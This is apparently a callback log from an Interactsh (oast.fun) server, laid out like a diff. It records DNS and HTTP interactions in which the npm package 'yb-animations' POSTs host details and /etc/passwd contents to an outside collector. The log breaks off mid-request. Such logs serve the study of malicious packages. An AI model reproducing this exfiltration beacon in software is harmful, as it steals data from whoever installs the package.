[ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 162.14.228.36 at 2024-11-29 08:20:03
|
250
|
+
-----------
|
251
|
+
DNS Request
|
252
|
+
-----------
|
253
|
+
|
254
|
+
;; opcode: QUERY, status: NOERROR, id: 1308
|
255
|
+
;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
|
256
|
+
|
257
|
+
;; OPT PSEUDOSECTION:
|
258
|
+
; EDNS: version 0; flags:; udp: 4096
|
259
|
+
|
260
|
+
;; QUESTION SECTION:
|
261
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
262
|
+
|
263
|
+
|
264
|
+
------------
|
265
|
+
DNS Response
|
266
|
+
------------
|
267
|
+
|
268
|
+
;; opcode: QUERY, status: NOERROR, id: 1308
|
269
|
+
;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
|
270
|
+
|
271
|
+
;; QUESTION SECTION:
|
272
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
273
|
+
|
274
|
+
;; ANSWER SECTION:
|
275
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
|
276
|
+
|
277
|
+
;; AUTHORITY SECTION:
|
278
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
|
279
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
|
280
|
+
|
281
|
+
;; ADDITIONAL SECTION:
|
282
|
+
ns1.oast.fun. 3600 IN A 206.189.156.69
|
283
|
+
ns2.oast.fun. 3600 IN A 206.189.156.69
|
284
|
+
|
285
|
+
|
286
|
+
|
287
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 162.14.228.36 at 2024-11-29 08:20:03
|
288
|
+
-----------
|
289
|
+
DNS Request
|
290
|
+
-----------
|
291
|
+
|
292
|
+
;; opcode: QUERY, status: NOERROR, id: 20871
|
293
|
+
;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
|
294
|
+
|
295
|
+
;; OPT PSEUDOSECTION:
|
296
|
+
; EDNS: version 0; flags:; udp: 4096
|
297
|
+
|
298
|
+
;; QUESTION SECTION:
|
299
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
300
|
+
|
301
|
+
|
302
|
+
------------
|
303
|
+
DNS Response
|
304
|
+
------------
|
305
|
+
|
306
|
+
;; opcode: QUERY, status: NOERROR, id: 20871
|
307
|
+
;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
|
308
|
+
|
309
|
+
;; QUESTION SECTION:
|
310
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
311
|
+
|
312
|
+
;; ANSWER SECTION:
|
313
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
|
314
|
+
|
315
|
+
;; AUTHORITY SECTION:
|
316
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
|
317
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
|
318
|
+
|
319
|
+
;; ADDITIONAL SECTION:
|
320
|
+
ns1.oast.fun. 3600 IN A 206.189.156.69
|
321
|
+
ns2.oast.fun. 3600 IN A 206.189.156.69
|
322
|
+
|
323
|
+
|
324
|
+
|
325
|
+
[ct4NGQ49342dd224GLj08J8r9I5darXsB] Received DNS interaction (A) from 172.217.34.23 at 2024-11-29 08:23:03
|
326
|
+
-----------
|
327
|
+
DNS Request
|
328
|
+
-----------
|
329
|
+
|
330
|
+
;; opcode: QUERY, status: NOERROR, id: 14375
|
331
|
+
;; flags: cd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
|
332
|
+
|
333
|
+
;; QUESTION SECTION:
|
334
|
+
;ct4NGQ49342dd224GLj08J8r9I5darXsB.oasT.fUn. IN A
|
335
|
+
|
336
|
+
|
337
|
+
------------
|
338
|
+
DNS Response
|
339
|
+
------------
|
340
|
+
|
341
|
+
;; opcode: QUERY, status: NOERROR, id: 14375
|
342
|
+
;; flags: qr aa cd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
|
343
|
+
|
344
|
+
;; QUESTION SECTION:
|
345
|
+
;ct4NGQ49342dd224GLj08J8r9I5darXsB.oasT.fUn. IN A
|
346
|
+
|
347
|
+
;; ANSWER SECTION:
|
348
|
+
ct4NGQ49342dd224GLj08J8r9I5darXsB.oasT.fUn. 3600 IN A 206.189.156.69
|
349
|
+
|
350
|
+
;; AUTHORITY SECTION:
|
351
|
+
ct4NGQ49342dd224GLj08J8r9I5darXsB.oasT.fUn. 3600 IN NS ns1.oast.fun.
|
352
|
+
ct4NGQ49342dd224GLj08J8r9I5darXsB.oasT.fUn. 3600 IN NS ns2.oast.fun.
|
353
|
+
|
354
|
+
;; ADDITIONAL SECTION:
|
355
|
+
ns1.oast.fun. 3600 IN A 206.189.156.69
|
356
|
+
ns2.oast.fun. 3600 IN A 206.189.156.69
|
357
|
+
|
358
|
+
|
359
|
+
|
360
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received HTTP interaction from 35.158.109.1 at 2024-11-29 08:23:04
|
361
|
+
------------
|
362
|
+
HTTP Request
|
363
|
+
------------
|
364
|
+
|
365
|
+
POST / HTTP/1.1
|
366
|
+
Host: ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun
|
367
|
+
Connection: close
|
368
|
+
Content-Length: 2092
|
369
|
+
Content-Type: application/x-www-form-urlencoded
|
370
|
+
|
371
|
+
msg=%7B%22p%22%3A%22yb-animations%22%2C%22c%22%3A%22%2Fanalysis%2Fnode_modules%2Fyb-animations%22%2C%22hd%22%3A%22%2Froot%22%2C%22hn%22%3A%22HOSTNAME-a1a01b0d900e4f7681569cfc64d34d12%22%2C%22un%22%3A%22root%22%2C%22dns%22%3A%5B%22127.0.0.11%22%5D%2C%22v%22%3A%221.0.1%22%2C%22pjson%22%3A%7B%22name%22%3A%22yb-animations%22%2C%22version%22%3A%221.0.1%22%2C%22description%22%3A%22%22%2C%22main%22%3A%22index.js%22%2C%22scripts%22%3A%7B%22test%22%3A%22echo%20%5C%22Error%3A%20no%20test%20specified%5C%22%20%26%26%20exit%201%22%7D%2C%22author%22%3A%22%22%2C%22license%22%3A%22ISC%22%7D%2C%22cmdOutput%22%3A%22root%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%5Cndaemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnbin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnsys%3Ax%3A3%3A3%3Asys%3A%2Fdev%3A%2Fusr%2Fsbin%2Fnologin%5Cnsync%3Ax%3A4%3A65534%3Async%3A%2Fbin%3A%2Fbin%2Fsync%5Cngames%3Ax%3A5%3A60%3Agames%3A%2Fusr%2Fgames%3A%2Fusr%2Fsbin%2Fnologin%5Cnman%3Ax%3A6%3A12%3Aman%3A%2Fvar%2Fcache%2Fman%3A%2Fusr%2Fsbin%2Fnologin%5Cnlp%3Ax%3A7%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fusr%2Fsbin%2Fnologin%5Cnmail%3Ax%3A8%3A8%3Amail%3A%2Fvar%2Fmail%3A%2Fusr%2Fsbin%2Fnologin%5Cnnews%3Ax%3A9%3A9%3Anews%3A%2Fvar%2Fspool%2Fnews%3A%2Fusr%2Fsbin%2Fnologin%5Cnuucp%3Ax%3A10%3A10%3Auucp%3A%2Fvar%2Fspool%2Fuucp%3A%2Fusr%2Fsbin%2Fnologin%5Cnproxy%3Ax%3A13%3A13%3Aproxy%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%5Cnwww-data%3Ax%3A33%3A33%3Awww-data%3A%2Fvar%2Fwww%3A%2Fusr%2Fsbin%2Fnologin%5Cnbackup%3Ax%3A34%3A34%3Abackup%3A%2Fvar%2Fbackups%3A%2Fusr%2Fsbin%2Fnologin%5Cnlist%3Ax%3A38%3A38%3AMailing%20List%20Manager%3A%2Fvar%2Flist%3A%2Fusr%2Fsbin%2Fnologin%5Cnirc%3Ax%3A39%3A39%3Aircd%3A%2Fvar%2Frun%2Fircd%3A%2Fusr%2Fsbin%2Fnologin%5Cngnats%3Ax%3A41%3A41%3AGnats%20Bug-Reporting%20System%20(admin)%3A%2Fvar%2Flib%2Fgnats%3A%2Fusr%2Fsbin%2Fnologin%5Cnnobody%3Ax%3A65534%3A65534%3Anobody%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%5Cn_apt%3Ax%3A100%3A65534%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%5Cnmessagebus%3Ax%3A101%3A101%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%5Cn%22%7D
|
372
|
+
|
373
|
+
-------------
|
374
|
+
HTTP Response
|
375
|
+
-------------
|
376
|
+
|
377
|
+
HTTP/1.1 200 OK
|
378
|
+
Connection: close
|
379
|
+
Access-Control-Allow-Credentials: true
|
380
|
+
Access-Control-Allow-Headers: Content-Type, Authorization
|
381
|
+
Access-Control-Allow-Origin: *
|
382
|
+
Content-Type: text/html; charset=utf-8
|
383
|
+
Server: oast.fun
|
384
|
+
X-Interactsh-Version: 1.2.2
|
385
|
+
|
386
|
+
<html><head></head><body>bsxrad5i9r8j80jlg422dd24394qgn4tc</body></html>
|
387
|
+
|
388
|
+
|
389
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (AAAA) from 79.104.209.91 at 2024-11-29 08:34:13
|
390
|
+
-----------
|
391
|
+
DNS Request
|
392
|
+
-----------
|
393
|
+
|
394
|
+
;; opcode: QUERY, status: NOERROR, id: 16778
|
395
|
+
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
|
396
|
+
|
397
|
+
;; OPT PSEUDOSECTION:
|
398
|
+
; EDNS: version 0; flags: do; udp: 512
|
399
|
+
|
400
|
+
;; QUESTION SECTION:
|
401
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN AAAA
|
402
|
+
|
403
|
+
|
404
|
+
------------
|
405
|
+
DNS Response
|
406
|
+
------------
|
407
|
+
|
408
|
+
;; opcode: QUERY, status: NOERROR, id: 16778
|
409
|
+
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
|
410
|
+
|
411
|
+
;; QUESTION SECTION:
|
412
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN AAAA
|
413
|
+
|
414
|
+
;; ANSWER SECTION:
|
415
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
|
416
|
+
|
417
|
+
;; AUTHORITY SECTION:
|
418
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
|
419
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
|
420
|
+
|
421
|
+
;; ADDITIONAL SECTION:
|
422
|
+
ns1.oast.fun. 3600 IN A 206.189.156.69
|
423
|
+
ns2.oast.fun. 3600 IN A 206.189.156.69
|
424
|
+
|
425
|
+
|
426
|
+
|
427
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (AAAA) from 79.104.209.91 at 2024-11-29 08:34:13
|
428
|
+
-----------
|
429
|
+
DNS Request
|
430
|
+
-----------
|
431
|
+
|
432
|
+
;; opcode: QUERY, status: NOERROR, id: 32133
|
433
|
+
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
|
434
|
+
|
435
|
+
;; OPT PSEUDOSECTION:
|
436
|
+
; EDNS: version 0; flags: do; udp: 512
|
437
|
+
|
438
|
+
;; QUESTION SECTION:
|
439
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN AAAA
|
440
|
+
|
441
|
+
|
442
|
+
------------
|
443
|
+
DNS Response
|
444
|
+
------------
|
445
|
+
|
446
|
+
;; opcode: QUERY, status: NOERROR, id: 32133
|
447
|
+
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
|
448
|
+
|
449
|
+
;; QUESTION SECTION:
|
450
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN AAAA
|
451
|
+
|
452
|
+
;; ANSWER SECTION:
|
453
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
|
454
|
+
|
455
|
+
;; AUTHORITY SECTION:
|
456
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
|
457
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
|
458
|
+
|
459
|
+
;; ADDITIONAL SECTION:
|
460
|
+
ns1.oast.fun. 3600 IN A 206.189.156.69
|
461
|
+
ns2.oast.fun. 3600 IN A 206.189.156.69
|
462
|
+
|
463
|
+
|
464
|
+
|
465
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 79.104.209.91 at 2024-11-29 08:34:14
|
466
|
+
-----------
|
467
|
+
DNS Request
|
468
|
+
-----------
|
469
|
+
|
470
|
+
;; opcode: QUERY, status: NOERROR, id: 25751
|
471
|
+
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
|
472
|
+
|
473
|
+
;; QUESTION SECTION:
|
474
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
475
|
+
|
476
|
+
|
477
|
+
------------
|
478
|
+
DNS Response
|
479
|
+
------------
|
480
|
+
|
481
|
+
;; opcode: QUERY, status: NOERROR, id: 25751
|
482
|
+
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
|
483
|
+
|
484
|
+
;; QUESTION SECTION:
|
485
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
486
|
+
|
487
|
+
;; ANSWER SECTION:
|
488
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
|
489
|
+
|
490
|
+
;; AUTHORITY SECTION:
|
491
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
|
492
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
|
493
|
+
|
494
|
+
;; ADDITIONAL SECTION:
|
495
|
+
ns1.oast.fun. 3600 IN A 206.189.156.69
|
496
|
+
ns2.oast.fun. 3600 IN A 206.189.156.69
|
497
|
+
|
498
|
+
|
499
|
+
|
500
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received HTTP interaction from 79.104.209.91 at 2024-11-29 08:34:14
|
501
|
+
------------
|
502
|
+
HTTP Request
|
503
|
+
------------
|
504
|
+
|
505
|
+
POST / HTTP/1.1
|
506
|
+
Host: ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun
|
507
|
+
Connection: close
|
508
|
+
Content-Length: 2158
|
509
|
+
Content-Type: application/x-www-form-urlencoded
|
510
|
+
|
511
|
+
msg=%7B%22p%22%3A%22yb-animations%22%2C%22c%22%3A%22%2Froot%2FmqUUosQKWJLvbKvDsUWR%2Fnode_modules%2Fyb-animations%22%2C%22hd%22%3A%22%2Froot%22%2C%22hn%22%3A%22centos%22%2C%22un%22%3A%22root%22%2C%22dns%22%3A%5B%2210.0.0.1%22%5D%2C%22v%22%3A%221.0.1%22%2C%22pjson%22%3A%7B%22name%22%3A%22yb-animations%22%2C%22version%22%3A%221.0.1%22%2C%22description%22%3A%22%22%2C%22main%22%3A%22index.js%22%2C%22scripts%22%3A%7B%22test%22%3A%22echo%20%5C%22Error%3A%20no%20test%20specified%5C%22%20%26%26%20exit%201%22%7D%2C%22author%22%3A%22%22%2C%22license%22%3A%22ISC%22%7D%2C%22cmdOutput%22%3A%22root%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%5Cnbin%3Ax%3A1%3A1%3Abin%3A%2Fbin%3A%2Fsbin%2Fnologin%5Cndaemon%3Ax%3A2%3A2%3Adaemon%3A%2Fsbin%3A%2Fsbin%2Fnologin%5Cnadm%3Ax%3A3%3A4%3Aadm%3A%2Fvar%2Fadm%3A%2Fsbin%2Fnologin%5Cnlp%3Ax%3A4%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fsbin%2Fnologin%5Cnsync%3Ax%3A5%3A0%3Async%3A%2Fsbin%3A%2Fbin%2Fsync%5Cnshutdown%3Ax%3A6%3A0%3Ashutdown%3A%2Fsbin%3A%2Fsbin%2Fshutdown%5Cnhalt%3Ax%3A7%3A0%3Ahalt%3A%2Fsbin%3A%2Fsbin%2Fhalt%5Cnmail%3Ax%3A8%3A12%3Amail%3A%2Fvar%2Fspool%2Fmail%3A%2Fsbin%2Fnologin%5Cnoperator%3Ax%3A11%3A0%3Aoperator%3A%2Froot%3A%2Fsbin%2Fnologin%5Cngames%3Ax%3A12%3A100%3Agames%3A%2Fusr%2Fgames%3A%2Fsbin%2Fnologin%5Cnftp%3Ax%3A14%3A50%3AFTP%20User%3A%2Fvar%2Fftp%3A%2Fsbin%2Fnologin%5Cnnobody%3Ax%3A99%3A99%3ANobody%3A%2F%3A%2Fsbin%2Fnologin%5Cnsystemd-network%3Ax%3A192%3A192%3Asystemd%20Network%20Management%3A%2F%3A%2Fsbin%2Fnologin%5Cndbus%3Ax%3A81%3A81%3ASystem%20message%20bus%3A%2F%3A%2Fsbin%2Fnologin%5Cnpolkitd%3Ax%3A999%3A998%3AUser%20for%20polkitd%3A%2F%3A%2Fsbin%2Fnologin%5Cnsshd%3Ax%3A74%3A74%3APrivilege-separated%20SSH%3A%2Fvar%2Fempty%2Fsshd%3A%2Fsbin%2Fnologin%5Cnpostfix%3Ax%3A89%3A89%3A%3A%2Fvar%2Fspool%2Fpostfix%3A%2Fsbin%2Fnologin%5Cntest%3Ax%3A1000%3A1000%3Atest%3A%2Fhome%2Ftest%3A%2Fbin%2Fbash%5Cntss%3Ax%3A59%3A59%3AAccount%20used%20by%20the%20trousers%20package%20to%20sandbox%20the%20tcsd%20daemon%3A%2Fdev%2Fnull%3A%2Fsbin%2Fnologin%5Cnapache%3Ax%3A48%3A48%3AApache%3A%2Fusr%2Fshare%2Fhttpd%3A%2Fsbin%2Fnologin%5Cnqemu%3Ax%3A107%3A107%3Aqemu%20user%3A%2F%3A%2Fsbin%2Fnologin%5Cn%22%7D
|
512
|
+
|
513
|
+
-------------
|
514
|
+
HTTP Response
|
515
|
+
-------------
|
516
|
+
|
517
|
+
HTTP/1.1 200 OK
|
518
|
+
Connection: close
|
519
|
+
Access-Control-Allow-Credentials: true
|
520
|
+
Access-Control-Allow-Headers: Content-Type, Authorization
|
521
|
+
Access-Control-Allow-Origin: *
|
522
|
+
Content-Type: text/html; charset=utf-8
|
523
|
+
Server: oast.fun
|
524
|
+
X-Interactsh-Version: 1.2.2
|
525
|
+
|
526
|
+
<html><head></head><body>bsxrad5i9r8j80jlg422dd24394qgn4tc</body></html>
|
527
|
+
|
528
|
+
|
529
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 79.104.209.241 at 2024-11-29 08:35:14
|
530
|
+
-----------
|
531
|
+
DNS Request
|
532
|
+
-----------
|
533
|
+
|
534
|
+
;; opcode: QUERY, status: NOERROR, id: 65147
|
535
|
+
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
|
536
|
+
|
537
|
+
;; OPT PSEUDOSECTION:
|
538
|
+
; EDNS: version 0; flags: do; udp: 512
|
539
|
+
|
540
|
+
;; QUESTION SECTION:
|
541
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
542
|
+
|
543
|
+
|
544
|
+
------------
|
545
|
+
DNS Response
|
546
|
+
------------
|
547
|
+
|
548
|
+
;; opcode: QUERY, status: NOERROR, id: 65147
|
549
|
+
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
|
550
|
+
|
551
|
+
;; QUESTION SECTION:
|
552
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
553
|
+
|
554
|
+
;; ANSWER SECTION:
|
555
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
|
556
|
+
|
557
|
+
;; AUTHORITY SECTION:
|
558
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
|
559
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
|
560
|
+
|
561
|
+
;; ADDITIONAL SECTION:
|
562
|
+
ns1.oast.fun. 3600 IN A 206.189.156.69
|
563
|
+
ns2.oast.fun. 3600 IN A 206.189.156.69
|
564
|
+
|
565
|
+
|
566
|
+
|
567
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received HTTP interaction from 79.104.209.241 at 2024-11-29 08:35:15
|
568
|
+
------------
|
569
|
+
HTTP Request
|
570
|
+
------------
|
571
|
+
|
572
|
+
POST / HTTP/1.1
|
573
|
+
Host: ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun
|
574
|
+
Connection: close
|
575
|
+
Content-Length: 2021
|
576
|
+
Content-Type: application/x-www-form-urlencoded
|
577
|
+
|
578
|
+
msg=%7B%22p%22%3A%22yb-animations%22%2C%22c%22%3A%22C%3A%5C%5CUsers%5C%5C8x7RlO6%5C%5CDownloads%5C%5Cnode_modules%5C%5Cyb-animations%22%2C%22hd%22%3A%22C%3A%5C%5CUsers%5C%5C8x7RlO6%22%2C%22hn%22%3A%22DESKTOP-FKZ2HTI%22%2C%22un%22%3A%228x7RlO6%22%2C%22dns%22%3A%5B%2210.203.80.150%22%5D%2C%22v%22%3A%221.0.1%22%2C%22pjson%22%3A%7B%22_from%22%3A%22file%3AC%3A%2FUsers%2F8x7RlO6%2FDownloads%2Fpackage.tgz%22%2C%22_id%22%3A%22yb-animations%401.0.1%22%2C%22_inBundle%22%3Afalse%2C%22_integrity%22%3A%22sha512-wTFkUEtgii4j%2BOVj7bDsSAWbmufFhsvUI0rNZq%2BY1b1HfBjCHy2z%2BddVJECA1z8eopMWk5xjBORr%2BmNSJFWRSw%3D%3D%22%2C%22_location%22%3A%22%2Fyb-animations%22%2C%22_phantomChildren%22%3A%7B%7D%2C%22_requested%22%3A%7B%22type%22%3A%22file%22%2C%22where%22%3A%22C%3A%5C%5CUsers%5C%5C8x7RlO6%5C%5CDownloads%22%2C%22raw%22%3A%22C%3A%5C%5CUsers%5C%5C8x7RlO6%5C%5CDownloads%5C%5Cpackage.tgz%22%2C%22rawSpec%22%3A%22C%3A%5C%5CUsers%5C%5C8x7RlO6%5C%5CDownloads%5C%5Cpackage.tgz%22%2C%22saveSpec%22%3A%22file%3AC%3A%2FUsers%2F8x7RlO6%2FDownloads%2Fpackage.tgz%22%2C%22fetchSpec%22%3A%22C%3A%2FUsers%2F8x7RlO6%2FDownloads%2Fpackage.tgz%22%7D%2C%22_requiredBy%22%3A%5B%22%23USER%22%5D%2C%22_resolved%22%3A%22C%3A%2FUsers%2F8x7RlO6%2FDownloads%2Fpackage.tgz%22%2C%22_shasum%22%3A%22fb0bb4815eceb77cf2acd9ebb19e58a647317ed5%22%2C%22_spec%22%3A%22C%3A%5C%5CUsers%5C%5C8x7RlO6%5C%5CDownloads%5C%5Cpackage.tgz%22%2C%22_where%22%3A%22C%3A%5C%5CUsers%5C%5C8x7RlO6%5C%5CDownloads%22%2C%22author%22%3A%22%22%2C%22bundleDependencies%22%3Afalse%2C%22deprecated%22%3Afalse%2C%22description%22%3A%22%22%2C%22license%22%3A%22ISC%22%2C%22main%22%3A%22index.js%22%2C%22name%22%3A%22yb-animations%22%2C%22scripts%22%3A%7B%22test%22%3A%22echo%20%5C%22Error%3A%20no%20test%20specified%5C%22%20%26%26%20exit%201%22%7D%2C%22version%22%3A%221.0.1%22%7D%2C%22cmdError%22%3A%22Command%20failed%3A%20cat%20%2Fetc%2Fpasswd%5Cn'cat'%20is%20not%20recognized%20as%20an%20internal%20or%20external%20command%2C%5Cr%5Cnoperable%20program%20or%20batch%20file.%5Cr%5Cn%22%7D
|
579
|
+
|
580
|
+
-------------
|
581
|
+
HTTP Response
|
582
|
+
-------------
|
583
|
+
|
584
|
+
HTTP/1.1 200 OK
|
585
|
+
Connection: close
|
586
|
+
Access-Control-Allow-Credentials: true
|
587
|
+
Access-Control-Allow-Headers: Content-Type, Authorization
|
588
|
+
Access-Control-Allow-Origin: *
|
589
|
+
Content-Type: text/html; charset=utf-8
|
590
|
+
Server: oast.fun
|
591
|
+
X-Interactsh-Version: 1.2.2
|
592
|
+
|
593
|
+
<html><head></head><body>bsxrad5i9r8j80jlg422dd24394qgn4tc</body></html>
|
594
|
+
|
595
|
+
|
596
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received DNS interaction (A) from 213.33.190.129 at 2024-11-29 08:35:44
|
597
|
+
-----------
|
598
|
+
DNS Request
|
599
|
+
-----------
|
600
|
+
|
601
|
+
;; opcode: QUERY, status: NOERROR, id: 50346
|
602
|
+
;; flags:; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
|
603
|
+
|
604
|
+
;; OPT PSEUDOSECTION:
|
605
|
+
; EDNS: version 0; flags: do; udp: 512
|
606
|
+
|
607
|
+
;; QUESTION SECTION:
|
608
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
609
|
+
|
610
|
+
|
611
|
+
------------
|
612
|
+
DNS Response
|
613
|
+
------------
|
614
|
+
|
615
|
+
;; opcode: QUERY, status: NOERROR, id: 50346
|
616
|
+
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2
|
617
|
+
|
618
|
+
;; QUESTION SECTION:
|
619
|
+
;ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. IN A
|
620
|
+
|
621
|
+
;; ANSWER SECTION:
|
622
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN A 206.189.156.69
|
623
|
+
|
624
|
+
;; AUTHORITY SECTION:
|
625
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns1.oast.fun.
|
626
|
+
ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun. 3600 IN NS ns2.oast.fun.
|
627
|
+
|
628
|
+
;; ADDITIONAL SECTION:
|
629
|
+
ns1.oast.fun. 3600 IN A 206.189.156.69
|
630
|
+
ns2.oast.fun. 3600 IN A 206.189.156.69
|
631
|
+
|
632
|
+
|
633
|
+
|
634
|
+
[ct4ngq49342dd224glj08j8r9i5darxsb] Received HTTP interaction from 213.33.190.129 at 2024-11-29 08:35:45
|
635
|
+
------------
|
636
|
+
HTTP Request
|
637
|
+
------------
|
638
|
+
|
639
|
+
POST / HTTP/1.1
|
640
|
+
Host: ct4ngq49342dd224glj08j8r9i5darxsb.oast.fun
|
641
|
+
Connection: close
|
642
|
+
Content-Length: 2070
|
643
|
+
Content-Type: application/x-www-form-urlencoded
|
644
|
+
|
645
|
+
msg=%7B%22p%22%3A%22yb-animations%22%2C%22c%22%3A%22C%3A%5C%5CUsers%5C%5CkZXG3JD9q1Z%5C%5CDownloads%5C%5Cnode_modules%5C%5Cyb-animations%22%2C%22hd%22%3A%22C%3A%5C%5CUsers%5C%5CkZXG3JD9q1Z%22%2C%22hn%22%3A%22DESKTOP-K2NH6GE%22%2C%22un%22%3A%22kZXG3JD9q1Z%22%2C%22dns%22%3A%5B%2210.162.142.211%22%5D%2C%22v%22%3A%221.0.1%22%2C%22pjson%22%3A%7B%22_from%22%3A%22file%3AC%3A%2FUsers%2FkZXG3JD9q1Z%2FDownloads%2Fpackage.tgz%22%2C%22_id%22%3A%22yb-animations%401.0.1%22%2C%22_inBundle%22%3Afalse%2C%22_integrity%22%3A%22sha512-wTFkUEtgii4j%2BOVj7bDsSAWbmufFhsvUI0rNZq%2BY1b1HfBjCHy2z%2BddVJECA1z8eopMWk5xjBORr%2BmNSJFWRSw%3D%3D%22%2C%22_location%22%3A%22%2Fyb-animations%22%2C%22_phantomChildren%22%3A%7B%7D%2C%22_requested%22%3A%7B%22type%22%3A%22file%22%2C%22where%22%3A%22C%3A%5C%5CUsers%5C%5CkZXG3JD9q1Z%5C%5CDownloads%22%2C%22raw%22%3A%22C%3A%5C%5CUsers%5C%5CkZXG3JD9q1Z%5C%5CDownloads%5C%5Cpackage.tgz%22%2C%22rawSpec%22%3A%22C%3A%5C%5CUsers%5C%5CkZXG3JD9q1Z%5C%5CDownloads%5C%5Cpackage.tgz%22%2C%22saveSpec%22%3A%22file%3AC%3A%2FUsers%2FkZXG3JD9q1Z%2FDownloads%2Fpackage.tgz%22%2C%22fetchSpec%22%3A%22C%3A%2FUsers%2FkZXG3JD9q1Z%2FDownloads%2Fpackage.tgz%22%7D%2C%22_requiredBy%22%3A%5B%22%23USE